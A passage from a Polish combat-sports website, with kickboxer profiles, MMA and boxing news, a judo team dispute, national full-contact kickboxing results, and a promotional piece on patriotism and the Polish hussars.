Walka na dystansie dwunastu rund odbędzie się w sobotę 18 kwietnia w StubHub Center w Carson. Wszyscy czekają, aby meksykańska fala radości ze zwycięstwa Polaka stała się faktem. Polski półciężki wykonał kawał dobrej roboty, ale stać go na więcej. Musi iść do przodu i szukać sposobności dotarcia na szczyt. W Stanach Zjednoczonych radzi sobie wyśmienicie, a w rywalizacji z Chavezem musi koniecznie to potwierdzić. Pojedynek będzie transmitowany przez telewizję Showtime, w Polsce walkę pokaże TVP.

KM

Jerome Le Banner

Francuski kickboxer urodzony 26 grudnia 1972 roku w Hawrze. Największe swoje sukcesy odnosił w formule K-1.  W tej formule zadebiutował 3 marca 1995 roku. Już na samym początku swojej kariery wszedł do światowej czołówki tej dyscypliny zajmując drugie miejsce w K-1 World Grand Prix 1995. W latach 1998-2002 wygrał 20 z 23 swoich walk, większość przed czasem. Wygrywał z  takimi rywali jak: Francisco Filho, Samen Greco, Mattem Skeltonem, Peterem Aertsem, Markiem Huntem, Ernesto Hoostem i Musashim. Kulminacyjnym momentem był Finał K-1 World Grand Prix 2002, gdy będąc zdecydowanym faworytem do mistrzostwa przegrał w walce finałowej z Hoostem z powodu złamanej ręki. Po pół rocznej rekonwalescencji powrócił na ring, lecz już nigdy nie dotarł do ścisłego finału K-1 WGP. Najbliżej powtórzenia tego sukcesu był w 2007 roku, gdy odpadł w półfinale, przegrywając z Semmym Schiltem. W czerwcu 2008 roku otrzymał szansę walki o pas mistrza K-1 w kategorii wagowej super ciężkiej z broniącym tytułu Schiltem. Le Banner przegrał ten pojedynek przez jednogłośną decyzję sędziów. Jerome również okazjonalnie startuje w MMA. Pierwszy pojedynek stoczył w sylwestra 2001 roku na japońskiej gali Inoki Bom-ba-ye. W późniejszych latach walczył dla powiązanych z K-1 organizacji HERO’S i DREAM. Na początku 2012 roku podpisał kontrakt na dwie walki z polskim KSW. 25 lutego na gali KSW XVIII miał zmierzyć się z Marcinem Różalskim, lecz z powodu kontuzji wycofał się z tego pojedynku. Ich pojedynek zaplanowano więc na KSW XX we wrześniu, lecz i tym razem Le Banner wycofał się z powodu urazu. W 2011 roku w związku z problemami finansowymi organizacji K-1 , podpisał kontrakt z IGF, należącą do Antonio Inokiego japońską organizacją wrestlingu. Zadebiutował w niej w kwietniu, a w sierpniu został jej mistrzem.

Osiągnięcia Le Bannera w Kickboxingu to:

  • 2011: Mistrz Świata ISKA w kick-boxingu w wadze superciężkiej
  • 2002: Wicemistrz K-1 World Grand Prix
  • 2001: K-1 World Grand Prix in Osaka – 1. miejsce
  • 2000: K-1 World Grand Prix in Nagoya – 1. miejsce
  • 1998: Mistrz Świata WKN w boksie tajskim w wadze superciężkiej
  • 1996: Mistrz Świata ISKA w boksie tajskim w wadze superciężkiej
  • 1995: Wicemistrz K-1 World Grand Prix
  • 1994: Mistrz Europy ISKA w kick-boxingu w wadze superciężkiej (full contact)
  • 1992: Mistrz Francji ISKA w kick-boxingu w wadze superciężkiej (full contact)

Aleksiej Ignaszow

Białoruski kickbokser urodzony 18 stycznia 1978 roku w Mińsku. Jest uznawany za jednego z najlepszych przedstawicieli Białoruskiej szkoły Muay Thai. Trenuje w renomowanym mińskim klubie Chinuk Gym. W 1998 roku został mistrzem Europy organizacji WPKL. W latach 1999-2000 zdobył cztery tytuły mistrza Świata ISKA i WMC. W 2000 roku wygrał preliminaryjny turniej K-1 w Mińsku, kończąc wszystkie walki przed czasem. Sukces ten zaowocował zaproszeniem do udziału w turnieju w Nagoi, który był eliminacją do Finału K-1 World Grand Prix 2001 w Tokio. Ignaszow wygrał wszystkie swoje walki zdobywając nominację. W ćwierćfinale finałowego World GP znokautował ciosem kolanem Duńczyka Nicholasa Pettasa. W półfinale uległ jednak mistrzowi świata karate Kyokushin, Francisco Filho. Mimo porażki, Białorusin szybko zdobył wielką popularność, stając się czołowym Kick-boxerem świata młodego pokolenia. W ciągu następnych dwóch lat pokonał Cyrila Abidi, Petera Aertsa oraz Mike’a Bernardo. Zwycięstwo nad Bernardo dało Aleksiejowi miejsce w Finale K-1 World GP 2003. Wielu ekspertów upatrywało w Białorusinie faworyta turnieju i nowego mistrza K-1. Nie spełnił on jednak pokładanych w nim nadziei i odpadł już w pierwszej , ćwierćfinałowej walce z Aertsem. Następny rok był wyjątkowo pracowity dla Ignaszowa, który walczył nie tylko w K-1 ale także dla organizacji HERO’S oraz It’s Showtime. Na gali tej ostatniej organizacji znokautował późniejszego czterokrotnego mistrza K-1 Semmy’ego Schilta. Rok 2005 to rok niepowodzeń Białorusina. Cztery porażki z rzędu oraz kontuzja kolana sprawiły, że wypadł z czołówki K-1. W 2008 roku podpisał kontrakt na walki w cyklu KO World Series, ale zdążył stoczyć tylko jeden przegrany pojedynek zanim organizacja ta Ne zbankrutowała. Do K-1 powrócił w 2010 roku , gdy na gali w Jokohamie stoczył przegrany pojedynek z Badrem Hari. Miesiąc później wziął udział w roli jednego z faworytów w GP wschodniej Europy w Bukareszcie, będącej eliminacją do Finału K-1 WGP. Wygrał dwa pierwsze pojedynki, jednak odnowiona kontuzja kolana zmusiła go do wycofania się z walki finałowej. 

Taiei Kin

Japoński karateka, kickboxer oraz zawodnik MMA urodzony 8 lipca 1970 roku w Amagasaki. Swoją przygodę ze sportami walki rozpoczął w bardzo młodym wieku od trenowania karate, w szkole średniej ćwiczył również boks. Na studiach wstąpił do organizacji Seidokaikan i rozpoczął starty w profesjonalnych turniejach pełno kontaktowego karate. W 1992 roku zajął drugie miejsce w pucharze świata w Seidokaikan. W walce finałowej pokonał go Andy Hug. Rok później został wicemistrzem turnieju karate Japan Open. Sukces ten powtórzył w 1994 roku. W 1995 roku zdobył Puchar Świata Seidokaikan pokonując w walce finałowej Toshiyuki Atokawę. W organizacji K-1 startował od jej powstania w 1993 roku. Podczas swojego debiutu na K-1 Grand Prix 1993 pokonał przez decyzję utytułowanego brytyjskiego karatekę Michaela Thompsona. Kin był jednym z najlżejszych zawodników wagi półciężkiej w K-1, co uniemożliwiało mu skuteczną rywalizację na turniejach z cyklu K-1 World Grand Prix. Walczył więc głównie w pojedynczych walkach pozaturniejowych. Podczas jednej z takich walk w czerwcu 1993 roku na gali K-1 Sanctuary 3 zmierzył się z Changpuekiem Kiatsongritem o mistrzostwo świata UKF w wadze półciężkiej. Przegrał przez decyzję po pięciu rundach. W marcu 1994 roku doszło do walki rewanżowej podczas gali K-1 Challenge ’94. Tym razem lepszy okazał się Kin, wygrywając przez niejedno głośną decyzję. W lipcu 1995 roku zajął w Nogoi drugie miejsce w turnieju K-3 Grand Prix, przegrywając w finale po niezwykle wyrównanej walce z Holendrem Ivanem Hyppolitem. 1 września 1996 roku został mistrzem świata WMTC w wadze junior średniej, pokonując przez niejedno głośna decyzję Taja Wanlopa Sor. Sarthaphana. 30 lipca 2000 roku po wygranej nad Stanem Longinidisem podczas K-1 World Grand Prix w Nagoi, zakończył sportową karierę. Karierę wznowił w 2006 roku. W sierpniu tego roku zadebiutował w MMA biorąc udział w turnieju HERO’S 2006 Light Heavyweight Tournament. Odpadł w ćwierćfinale po przegranej przez poddanie z judoką Yoshihiro Akiyamą. W latach 2006-2008, walcząc dla organizacji HERO’S i DREAM stoczył na zasadach MMA sześć walk (3 wygrane, 3 przegrane). W 2007 roku powrócił na ring K-1. Wziął udział w turnieju K-1 World GP w Hongkongu. Tam wygrał dwie pierwsze walki przez nokaut, ale musiał wycofać się z turnieju z powodu kontuzji. W 2009 roku zajął drugie miejsce na GP Azji w Seulu, przegrywając w walce finałowej z Hindusem Singhiem Jaideepem. W październiku 2011 roku 41 letni Kin podpisał kontrakt z Japońską organizacją sportów walki ACCEL. Dwa miesiące później pokonał w walce Kick-bokserskiej Ryujiego Goto.

Osiągnięcia w Kick-boxingu:

  • 2009: K-1 World GP w Seulu (GP Azji) – 2. miejsce
  • 1998: Mistrz Świata WMTC w wadze juniorśredniej
  • 1995: K-3 Grand Prix – 2. miejsce
  • 1994: Mistrz Świata UKF w wadze półciężkiej

Osiągnięcia w Karate Seidokaikan:

  • 1995: Karate World Cup – 1. miejsce
  • 1994: Karate Japan Open – 2. miejsce
  • 1993: Karate World Cup – 3. miejsce
  • 1993: Karate Japan Open – 2. miejsce
  • 1992: Karate World Cup – 2. miejsce

Gwiazdor MMA marzy o Igrzyskach Olimpijskich

Anderson Silva jest jednym z najbardziej rozpoznawalnych i utytułowanych zawodników mieszanych sztuk walki. W ostatnim czasie o Brazylijczyku było głośno nie ze względu na sportowe dokonania.

W styczniu na gali UFC Fight Night 183 „Spider” zmierzył się z Nickiem Diazem i wygrał tę rywalizację, ale po pojedynku zaczęły się problemy 40-letniego Brazylijczyka i jego konkurenta. W organizmach obu zawodników wykryto niedozwolone substancje. Silva wspomagał się pochodnymi testosteronu, zaś Diaz stosował marihuanę. „Spider” został ponownym testom, które dały po raz kolejny wynik pozytywny. Choć sam wielokrotnie wypierał się stosowania niedozwolonych środków, okazało się, że mijał się z prawdą. Dla wielu było to zaskoczenie. Pojawiły się głosy niedowierzania. Komisja Sportowa Stanu Nevada podjęła decyzję o zawieszeniu fightera. W jednej chwili Silva z piedestału spadł w niebyt, jednak Brazylijczyk nie chce stać z boku i podejmuje walkę o swoje.

Anderson Silva to zawodnik z najwyższej półki. Popełnił błąd, który w świecie MMA w ostatnim czasie staje się coraz bardziej powszechny. Dopuścił się zachowania niegodnego wielkiego mistrza, jednak chce zatrzeć złe wrażenie i spełnić swoje marzenia. Po pierwsze, zawodnik chciałby stoczyć kolejną walkę w MMA. Silva liczy na rewanż z Nickiem Diazem. Po drugie, Silva chce wystąpić na Igrzyskach Olimpijskich w Rio de Janeiro.

Brazylijczyk stoi na stanowisku, że ma do wyrównania rachunki z Nickiem Diazem. Fakt, że wygrał styczniowe starcie, ale ostatecznie decyzją Komisji Stanowej zostało określane jako „no contest”. Celem Silvy jest udowodnienie swojej wyższości nad Amerykaninem i w związku z tym liczy na kolejną szansę od Dana White’a. Ponadto, 40-latek chciałby, aby ten pojedynek odbył się w Brazylii. To jest jeden z najbliższych celów, ale nie najważniejszy. Gwiazdor MMA chce spełnić swoje wielkie marzenie i wystąpić na Igrzyskach Olimpijskich. W przyszłym roku najlepsi sportowcy świata będą rywalizować w Rio de Janeiro, w Brazylii, w  ojczyźnie Andersona Silvy. Problem w tym, że MMA nie jest dyscypliną olimpijską. Silva znalazł  rozwiązanie tej sytuacji i zamierza wystartować na igrzyskach w taekwondo. W tym celu zawodnik kontaktował się już z prezesem brazylijskiej federacji Carlosem Fernandesem. Anderson Silva otwarcie przyznaje jakim zaszczytem byłby dla niego występ w Rio. – Z wielką chęcią chciałabym reprezentować taekwondo i Brazylię na igrzyskach olimpijskich w 2016 roku. Będę to czynił z szacunkiem, siłą i honorem – napisał w piśmie skierowanym do brazylijskiej federacji 40-letni fighter. Warto dodać, że taekwondo nie jest obce Silvie. Brazylijczyk ma piąty dan w tej dyscyplinie. Z jednej strony Anderson Silva jest zawieszony i jego wizerunek został poważnie naruszony, z drugiej sam zawodnik stara się na nowo odnaleźć w rzeczywistości i walczyć, aby odzyskać uznanie. Czy ta próba powiedzie się?

KM

 

Gokhan Saki

Pochodzący z Holandii turecki kickboxer wagi ciężkiej urodzony 8 października 1983 roku w Schiedam. Treningi boksu tajskiego rozpoczął w wieku 10 lat pod okiem Jana Patsjerika. Od 2001 roku związany jest z klubem Golden Glory z Bredy. W swojej karierze zdobył kolejno mistrzostwo Holandii, Europy i Świata w Muay Thai. Od 2006 roku walczy dla organizacji K-1, dla której zadebiutował podczas turnieju K-1 World GP w Amsterdamie. Podczas tego turnieju doszedł do finału w którym przegrał z Bjornem Bregym. Od tej walki był niepokonany. W lipcu 2008 roku zwyciężył turniej K-1 World GP na Hawajach, wygrywając wszystkie walki przed czasem. We wrześniu pokonał Raya Sefo, i zakwalifikował się do Finału K-1 World GP, którego stawką był tytuł mistrza K-1 WGP. W ćwierćfinale wygrał z Rusłanem Karajewem, ale w walce o finał został znokautowany przez późniejszego mistrza Remy’ego Bojansky’ego. Ta porażka zakończyła jego passę 16 wygranych. W marcu 2009 roku wziął udział w turnieju o wakujące mistrzostwo K-1 w wadze ciężkiej. W półfinale znokautował Tyone’a Sponga. W finale jednak niespodziewanie przegrał z Keijiro Maedą. Tego roku kontuzja wyeliminowała go z wzięcia udziału w eliminacjach do finału K-1. Do finałowego turnieju awansował natomiast w 2010 roku, nokautując Freddy’ego Kemayo podczas Final 16. W ćwierćfinale Saki pokonał Daniela Ghitę. W tym pojedynku doznał złamania prawej ręki, jednak mimo to postanowił wyjść do półfinału. Tam przegrał z Alistairem Overeemem przez nokaut w pierwszej rundzie po kopnięciu w złamaną rękę.

Osiągnięcia Gokhana Sakiego :

  • 2011: Ultimate Glory World Series − 1. miejsce
  • 2008: K-1 World GP na Hawajach – 1. miejsce
  • 2008: Mistrz Świata WFCA w wadze superciężkiej
  • 2006: K-1 World GP w Amsterdamie – 2. miejsce
  • 2003: Mistrz Świata Muay Thai
  • 2002: Mistrz Europy Muay Thai
  • 2001: Mistrz Holandii Muay Thai

Husaria – duch patriotyzmu, dołącz do projektu

Czym jest patriotyzm? Każdy intuicyjnie rozumie to pojęcie. Ale czy każdy może powiedzieć o sobie 'jestem patriotą?'. Aby wiedzieć, aby czuć się patriotą, nie trzeba znać „książkowej” definicji patriotyzmu. Niemniej, warto nieco przypomnieć sobie historię Polski, aby móc zobaczyć, co dawniej rozumiano pod pojęciem patriotyzmu, a co oznacza on współcześnie, jakimi przymiotami wyróżnia się prawdziwy patriota…

Patriotyzm dawniej

Patriotyzm dla Polaków miał szczególne znaczenie zwłaszcza w czasach, gdy Polska znajdowała się pod zaborami. Wówczas to największym przejawem patriotyzmu była oczywiście walka z wrogiem, walka o niepodległość kraju, obrona swego państwa nawet za cenę własnego życia. Każdy prawdziwy patriota był gotów walczyć i zginąć za ojczyznę w każdej chwili.

To, czym charakteryzowała się postawa patriotyczna dawniej, najlepiej widać chociażby na przykładzie działań Polaków w okresiedrugiej wojny światowej. Nie każdy Polak miał możliwość prowadzić otwartą walkę z okupantem, dlatego też walczył na wszelkie inne możliwe sposoby – nie zawsze zgodne z zasadami „fair play”. Wśród nich można wyróżnić między innymi dywersję (Akcja pod Arsenałem),sabotaż (tak zwany „mały sabotaż” w okresie okupacji niemieckiej, prowadzony przez ruchy oporu), wszelkie działania konspiracyjne,partyzantkę. Wszystkie te działania miały za zadanie uświadomić wrogowi, że Polska nie jest jeszcze przegrana i będzie walczyć.

Współczesny patriotyzm

Obecnie już patriotyzm nie musi przejawiać się w różnych sposobach walki z okupantem, bowiem Polska jest niepodległa. Niemniej,pielęgnowanie tradycji budowanie świadomości narodowej (zwłaszcza wśród młodego pokolenia!) jest ogromnie ważne, bowiem nasi przodkowie walczyli za ojczyznę i w walce tej ginęli. A robili to po to, abyś żeł w Wolnej Polsce.

Pamięć o minionych czasach pielęgnuje nie tylko szkoła, która niewątpliwie ma ogromny wkład w rozbudzanie świadomości narodowej młodych Polaków. Ważne są także (a nieraz przemawiają nawet bardziej niż szkolne wykłady) historie rodzinne opowiadane przez babcie, dziadków i innych starszych członków rodziny. Historie o tym, jak dziadek czy wujek przebywał w obozie koncentracyjnym, o tym jak walczył na froncie z karabinem w dłoni za wolność ojczyzny i spokojną przyszłość dla swojej rodziny.

Bardzo ważnym „elementem” budowania świadomości narodowej i postawy patriotycznej Polaków jest celebrowanie ważnych dat i uczestnictwo w wydarzeniach patriotycznych. Obchody takich świąt narodowych jak Narodowe Święto Niepodległości zawsze odbywają się w niezwykle uroczystejpodniosłej atmosferze. Nawet jeśli młodzi Polacy na co dzień nie zastanawiają się nad kwestią niepodległości, a po prostu z niej korzystają, w takich właśnie ważnych dniach ich myśli kierują się w stronę przeszłości, chcą oddawać hołd tym wszystkim, dzięki których poświęceniu mogą teraz żyć w wolnej ojczyźnie.

Obecnie patriotą może nazywać się każdy ten, kto pielęgnuje tradycję narodowąkulturę, wartości, a także język polski. Każdy, kto czuje więź ze swoim narodem i ojczyznę szanuje, zna jej historię. Ogromnie ważne jest bowiem to, aby nie zatracić swojej tożsamości narodowej.

Patriotyzm na stadionach

Być patriotą i wyrażać to, można na wiele sposobów. Jednym z bardziej widowiskowych jest patriotyzm na stadionach. Kibice naprawdę potrafią pokazać, iż niezależnie od tego, jak bardzo na co dzień różnią się od siebie, w ważnych chwilach umieją się zjednoczyć iprzemawiać jednym głosem i tworzyć niesamowite oprawy wydarzeń patriotycznych. Śmiało można powiedzieć, iż walczą oni o wspólną sprawę – o zwycięstwo swojej drużyny.

Rola kibiców jest ogromna. Niektórzy nawet nie zdają sobie sprawy z tego, jak bardzo drużynie pomaga ich wspaniały doping. Jest to szczególnie ważne, gdy polska drużyna gra na „obcym podwórku”. Wówczas dźwięk Mazurka Dąbrowskiego, widok polskiej flagidodaje im siły do walki o zwycięstwo – dla swoich kibiców i dla swojego kraju. Polscy kibice cechują się wyjątkowo silną postawą patriotyczną i nigdy nie zawodzą!

Husaria – odbudowa Polski

Każdy Polak, każdy patriota, powinien wiedzieć czym była husaria. Zwrot ten oznacza polską jazdę, która na polach bitewnych była obecna od XVI do połowy XVIII wieku. To właśnie husaria przełamywała siły wroga szarżując na niego. Polska husaria uznawana jest zanajbardziej skuteczną formację wojskową w historii całej kawalerii!

W bitwach husaria brała udział nieprzerwanie przez blisko 300 lat. Warto dodać, iż przez dokładnie 125 lat, tj. w latach 1500-1625, husarianie przegrała ani jednej bitwy, w której uczestniczyła. To niezbicie dowodzi tego, jak wielką siłą była, jak doskonale wyszkoleni i doświadczeni byli husarze. Ogromnie ważne jest to, iż polska husaria zwyciężyła wiele bitew, w których wróg miał sporą przewagę liczebną. Wystarczy tu przytoczyć choćby taką bitwę jak Kłuszyn 4 lipca 1610 roku, kiedy to wojska polskie wraz z husarią liczyły zaledwie 6800walczących, zaś Rosjanie stawili się na bitwę w liczbie 35000!

Husaria jest pięknym przykładem patriotyzmu – walki o wolność ojczyzny, wielkiej odwagi, wiary w zwycięstwo. Husarzy pielęgnowali i kontynuowali tradycje swoich przodków, ciężko pracowali na swój status, wychowywani byli w prawdziwie rycerskim duchu. Byli dumni, pewni siebie i swojej ogromnej wartości. Tradycje husarskie warto pielęgnować i można to robić także teraz, choć niekoniecznie na koniu i z szablą w ręku.

Dziś chcemy odbudowy Polskiej Husarii – tradycyjnych wartości, ducha walki i dążenia do zwycięstwa w sporcie i życiu prywatnym.

Husarmia.pl :: Odwaga, Duma Zwycięstwo – projekt dla sportowców i wojowników którzy chcą krzewić patriotyzm na całym świecie.
Dołącz do projektu. Śledź wydarzenia w Twoim mieście. Uczestnicz w akcjach. Buduj Polską Dumę Narodową.
Zobacz galerię ostatniej akcji z Krakowa na: https://www.facebook.com/husarmia

Co w kadrze piszczy?

Katarzyna Kłys rysowała się jako liderka kadry kobiet w judo i kandydatka do zdobycia medalu na Igrzyskach Olimpijskich w Rio de Janeiro. Czy coś w tej kwestii zmieniło się?

Kłys zrobiła ogromny postęp i wskoczyła do światowej czołówki judo. W poprzednim sezonie prezentowała się bardzo dobrze. W Czelabińsku podczas mistrzostw świata wywalczyła brązowy medal – pierwszy dla Polski od jedenastu lat! Wielu widziało w niej nadzieję na medal w Rio. Kłys stała się zawodniczką, która miała przełamać niemoc polskiego judo na igrzyskach olimpijskich. Jednak w ostatnim czasie pojawiły się głosy, że brązowa medalista mistrzostw świata może nie wystąpić w Rio. Jak to?

Po analizie sytuacji należy wnioskować, że są to słowa na wyrost. Katarzyna Kłys powinna uzyskać kwalifikację olimpijską i reprezentować Polskę w Rio de Janeiro. Drodzy Państwo, skąd jednak te głosy? Co sprawiło, że pojawiła się opcja nieobecności Katarzyny Kłys na Igrzyskach Olimpijskich? Otóż, chodzi o kwestię przygotowań i kto oficjalnie ma je firmować. Trenerem kadry kobiet jest Aneta Szczepańska, a od pewnego czasu z Kłys pracował jej mąż Artur. Wśród szkoleniowców pojawiła się różnica zdań. Katarzyna Kłys wróciła do sportu po urodzeniu dziecka i chciała trenować pod okiem męża. Ówczesny prezes PZJudo Wiesław Błach przystał na to. Teraz pojawiło się nieporozumienie na linii Aneta Szczepańska – Artur Kłys. Mąż brązowej medalistki z Czelabińska uważa, że Szczepańska postawiła twardy warunek: zawodniczka trenuje z nią bądź współpraca z państwem Kłysami dobiega końca. Rzecz jasna srebrna medalistka z Atlanty odpowiada za wyniki całej kadry kobiet. Szczepańska podkreślała, że Kłys wraz z mężem miała komfortowe warunki do trenowania, ale chodzi przede wszystkim o spokój i dobro zawodniczki. PZJudo znalazł rozwiązanie problemu. Powstaje umowa, która ma definitywnie określać zasady współpracy między zawodniczką, a szkoleniowcami. Mąż Katarzyny Kłys będzie jej osobistym opiekunem, ale program działań będzie ustalany z trener Szczepańską.

Jeśli cała sprawa zakończy się pomyślnie to zmartwienie zniknie. Źle, że w ogóle doszło do takiej sytuacji, która negatywnie wpłynęła przede wszystkim na zawodniczkę, a ona jest w tym wszystkim najważniejsza. Katarzyna Kłys stanęła w rozdarciu. Trudno odnaleźć się w takiej sytuacji – tak po ludzku. Gdy w grę wchodzą emocje nie jest łatwo. Kwestią fundamentalną jest regulowanie zasad współpracy. Jeśli PZJudo przystał na warunek Kłys, która chciała trenować z mężem to tak kwestia powinna być ustalona i potwierdzona oficjalnie przez obie strony. Jej nieuregulowanie doprowadziło do sytuacji konfliktowej. Nie powinno do niej dojść. Brak Katarzyny Kłys w kadrze na obóz do Izraela, jej treningi w Zakopane i brak występu w zawodach Grand Prix rodziły kolejne domysły. A najważniejsza w tym wszystkim jest zawodniczka i jej dobro. Miejmy nadzieję, że strony wyjaśniły sobie wszystko i będą harmonijnie współpracować. Bo cel jest powszechnie znany. Kłys ma aspiracje na medal w Rio. Do sukcesu potrzebna jest atmosfera. Ciężkie treningi to jedno, a współpraca z trenerami to drugie. Jednakże wszyscy muszą mówić jednym głosem.

KM

MP full contact: Kozera po raz piąty

W Luboniu koło Poznania odbyły się mistrzostwa Polski seniorów i juniorów w kickboxingu w formule full contact. Na starcie pojawiło się ponad dwustu czterdziestu zawodników. Wszyscy stanęli do rywalizacji z nadziejami na triumf.

Marzenia o piątym tytule mistrzowskim spełnił Jakub Kozera (+91kg). Zawodnik Gwardii Zielona Góra w finale trafił na Tomasza Piechockiego z KKS Sporty Walki Poznań. Panowie doskonale znali swój potencjał, gdyż rywalizowali podczas mistrzostw Polski w 2013 roku. Kozera wiedział, że staje przed trudnym zadaniem, ale najważniejszy był piąty medal z kolei. Ta sztuka zawodnikowi z Zielonej Góry udała się. Kozera zwyciężył Piechockiego 2:1. W Luboniu doszło do powtórki finału z ubiegłego roku w kategorii 71 kg. Kamil Dajwłowski z Piotrowskiej Szkoły Sztuk Walki TOM CENTER spotkał się z Szymonem Salachną z Beskidu Dragon Bielsko-Biała. W Kurzętniku zwyciężył ten pierwszy, w Luboniu rezultat powtórzył się – 3:0. Dajwłowski mistrzem Polski w kategorii 71 kg. Robert Niedźwiecki w 57 kg okazał się lepszy od Łukasza Wydro. Zawodnik z Torunia w pierwszej rundzie był liczony, co miało wpływ na ostateczny wynik rywalizacji.  Tym samym Wydro nie obronił tytułu zdobytego w Kurzętniku. Dobrą walkę dał doświadczony Bogumił Połoński. Mimo to fighter SKF Boksing Zielona Góra musiał uznać wyższość Mateusza Kubiszyna. Z dobrej strony zaprezentował się Michał Grzesiak (91kg), który udowodnił swoją wartość i przed czasem pokonał Oskara Skupienia.

Nadzieje na trzeci złoty medal z rzędu miał Kajetan Kierstein. Fighter z Poznania przygotowywał się intensywnie do startu w mistrzostwach Polski, gdzie chciał potwierdzić swoją formę. Kierstein zaliczył dobry start podczas Pucharu Świata w Irlandii zdobywając brązowy medal. W kategorii 67 kg rywalizowało ośmiu zawodników. Kierstein w finale trafił na klubowego kolegę – Piotra Odważnego i musiał uznać jego wyższość. Tytuł w kategorii 75 kg obronił Robert Krasoń z Piotrowskiej Szkoły Sztuk Walki TOM Center.

Wśród pań zdobycze z poprzednich mistrzostw zachowały Ewa Bulanda (48 kg) oraz Anna Kołodziejska (+70kg). W finale zawodniczka z Nowego Sącza spotkała się z Katarzyną Mośko, która rok temu triumfowała w 52 kg. Tym razem KKS Sporty Walki Poznań spróbowała sił w niższej kategorii i awansowała do finału, w którym 0:3 przegrała z Bulandą. Kołodziejska pewnie pokonała Marię Barcikowską. W kategorii 65 kg dobry występ zanotowała Marta Waliczek. Zawodniczka z Bielsko-Białej zbiera kolejne medale. Tym razem w finałowej rozgrywce uporała się z Pauliną Frankowską z Piaseczna.

W hali LOSiR w Luboniu rywalizowało ponad dwustu czterdziestu zawodników. Najlepszą zawodniczką w rywalizacji seniorskiej wybrano Żanetę Cieślę (52kg), która zdobyła swój trzydziesty piąty złoty medal w karierze. W finale fighterka z Głogowa pewnie pokonała wyższą Natalię Bernasiak. Wśród panów najlepszym zawodnikiem wybrano Kacpra Frątczaka (81kg) z Akademii Sportów Walki KNOCKOUT Zielona Góra.

Wyniki MP full-contact w Luboniu:

-48 kg Karolina Mośko (KKS Sporty Walki Poznań) – Ewa Bulanda (Uczniowski Klub Sportowy EVAN Nowy Sącz) 0-3
-52 kg Natalia Biernasiak (KKS Sporty Walki Poznań) – Żaneta Cieśla (Legion Głogów) 0-3
-56 kg Klara Kleczkowska (KT Legia Warszawa) – Gabriela Bednarowicz (Sportowy Klub Kickboxing Kielce) zwyc. Bednarowicz WO
-60 kg Magdalena Frankowicz (Małopolska Szkoła Sportu i Rekreacji Ring Kraków) – Klaudia Cichoń (LUKS JAS POL Krynica) 0-3
-65 kg Marta Waliczek (Beskid Dragon Bielsko-Biała) – Paulina Frankowska (KS X FIGHT Piaseczno) 3-0
-70 kg Kamila Berek (GKS Champion Gdańsk) – Karolina Dziedzic (UKS Diament Pstrągowa) 0-3
+70 kg Anna Kołodziejska (KKS Sporty Walki) – Maria Barcikowska (Stowarzyszenie Sportu i Rekreacji Wola Warszawa) 3-0

-51 kg Wojciech Peryt (Radomski Klub Kickboxingu Kick-Sport) – Szymon Niewczas (Uczniowski Klub Sportowy EVAN Nowy Sącz) AB 1
-57 kg Łukasz Wydro (SMOK Toruń) – Robert Niedźwiedzki (KS ZIĘTEK Team Brzeziny) 0-3
-60 kg Artur Cieciura (Piotrowska Szkoła Sztuk Walki TOM CENTER) – Arkadiusz Drohomirecki (Beskid Dragon Bielsko-Biała) 3-0
-63,5 kg Przemysław Brzózka (Klub Sportowy C.S.E. Sparta Chrzanów) – Jakub Pokusa (KSW Szczecinek) 0-3
-67 kg Piotr Odważny (KKS Sporty Walki Poznań) – Kajetan Kierstein (KKS Sporty Walki Poznań) 2-1
-71 kg Szymon Salachna (Beskid Dragon Bielsko-Biała) – Kamil Dajwłowski (Piotrowska Szkoła Sztuk Walki TOM CENTER) 0-3
-75 kg Robert Krasoń (Piotrowska Szkoła Sztuk Walki TOM CENTER) – Dominik Pazdan (UKS Diament Pstrągowa) 3-0
-81 kg Filip Karbownik (Piotrowska Szkoła Sztuk Walki TOM CENTER) – Kacper Frątczak (Akademia Sportów Walki KNOCKOUT Zielona Góra) 0-3
-86 kg Bogumił Połoński (SKF Boksing Zielona Góra) – Mateusz Kubiszyn (Klub Sportów Walki Sokół Jarosław) 1-2
-91 kg Michał Grzesiak (Center Team Odolanów)  – Oskar Skupień (KS ZIĘTEK Team Brzeziny) AB 2
+91 kg Jakub Kozera (Gwardia Zielona Góra) – Tomasz Piechocki (KKS Sporty Walki Poznań) 2-1

KM

Wygrał z Petersonem i zmierza dalej

Danny Garcia, mistrz świata WBC i WBA wagi lekko półśredniej, pokonał podczas gali z cyklu „Premier Boxing Champions Lamonta Petersona, mistrza świata IBF. Tym samym „Swift” zapisał na swoim koncie trzydzieste pierwsze zwycięstwo w karierze.

Walka nie należała do porywających. Pojedynek toczony był w wolnym tempie, pięściarze przyjęli zachowawczą taktykę i uciekali od kontaktu. Zwłaszcza Peterson, który trzymał bezpieczny dystans od przeciwnika. Pojedynek starał się prowadzić Garcia. „Swift” był bardziej aktywny, wyprowadzał większość liczbę ciosów i szukał swojej szansy na zaskoczenie rywala. Peterson był nadto ostrożny, ale w końcu zaatakował. W siódmej rundzie doszło do kilku wymian, z których większe korzyści wyciągnął Garcia, gdyż był szybszy i skuteczniejszy. Z czasem Peterson wrzucił „drugi” bieg i poczynał sobie coraz śmielej. W dziewiątej rundzie zdominował Garcię, który cofnął się do głębokiej defensywy. Peterson przystąpił do ataku zbyt późno. Od początku Garcia robił wszystko, aby zbudować swoją przewagę, co udało się i przyniosło wymierną korzyść. Trzy rundy, w których Peterson ruszył na rywala to zbyt mało. Tak też całą walkę ocenili sędziowie przyznając zwycięstwo Garcii. Werdykt brzmiał dwa do remisu – 114:114, 115:113, 115:113.

Po zakończeniu walki Garcia mógł mieć wątpliwości, komu przypadnie zwycięstwo. Korzystny dla niego werdykt przyniósł mu ulgę i ogromną radość. Mimo wszystko rywalizacja z Petersonem okazała się wymagająca dla „Swifta”. – Nie będę oszukiwał i powiem szczerze, że to był trudny pojedynek. Jestem zadowolony ze swojej dyspozycji, gdyż zrobiłem dużo, aby odnieść zwycięstwo powiedział Garcia. Dla pięściarza z Filadelfii był to kolejny wygrany pojedynek w karierze. Garcia ma na swoim koncie trzydzieści jeden zwycięstw i ani jednej porażki. Przed rywalizacją z Petersonem pojawił się temat przenosin „Swifta” do wyższej kategorii wagowej. Walka pokazała jednak, że pięściarz musi mierzyć siły na zamiary i ta decyzja nie byłaby odpowiednim krokiem. Sam Garcia trzeźwo ocenił swoje możliwości na tym polu.Bardzo chciałbym zawalczyć z Pacquiao lub Mayweatherem. Potrzebuję jeszcze trochę czasu, kilku walk, aby móc spróbować swoich sił w kategorii półśredniej.

